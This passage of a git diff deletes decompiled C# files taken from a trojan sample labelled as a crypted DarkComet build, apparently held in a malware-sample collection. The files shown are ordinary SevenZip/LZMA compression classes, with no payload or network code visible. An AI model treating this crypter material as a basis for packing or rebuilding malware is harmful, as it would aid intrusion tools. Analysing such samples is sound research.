- private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Buffer/OutBuffer.cs deleted file mode 100644 index 0ce17e03..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/CRC.cs deleted file mode 100644 index 7ffed71c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/CoderPropID.cs deleted file mode 100644 index 9e50c12b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/BinTree.cs deleted file mode 100644 index 1454b8b5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)]; - this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos; - uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index3 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - uint cutValue = this._cutValue; - while (num6 > num2 && cutValue-- != 0U) - { - uint num7 = this._pos - num6; - uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1); - uint num8 = this._bufferOffset + num6; - uint num9 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - do - ; - while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]); - if ((int) num9 == (int) num1) - { - this._son[(IntPtr) index3] = this._son[(IntPtr) index4]; - this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)]; - goto label_18; - } - } - if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)]) - { - this._son[(IntPtr) index3] = num6; - index3 = index4 + 1U; - num6 = this._son[(IntPtr) index3]; - val2 = num9; - } - else - { - this._son[(IntPtr) index2] = num6; - index2 = index4; - num6 = this._son[(IntPtr) index2]; - val1 = num9; - } - } - this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U; -label_18: - this.MovePos(); -label_19:; - } - while (--num != 0U); - } - - private void NormalizeLinks(uint[] items, uint numItems, uint subValue) - { - for (uint index = 0; index < numItems; ++index) - { - uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index 28d6227f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index e013d9ab..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/InWindow.cs deleted file mode 100644 index 93b140a3..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] _bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/OutWindow.cs deleted file mode 100644 index fc617e6f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: darkcomet33_crypted, Version=1.5.1.7, Culture=neutral, PublicKeyToken=null -// MVID: C1E9CB25-4848-45EA-B17A-F8B67839C5BE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-14caa67931ea500d40ddc1649adf3e2119d3949fa6795d2f0542ba503a8f5add.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git 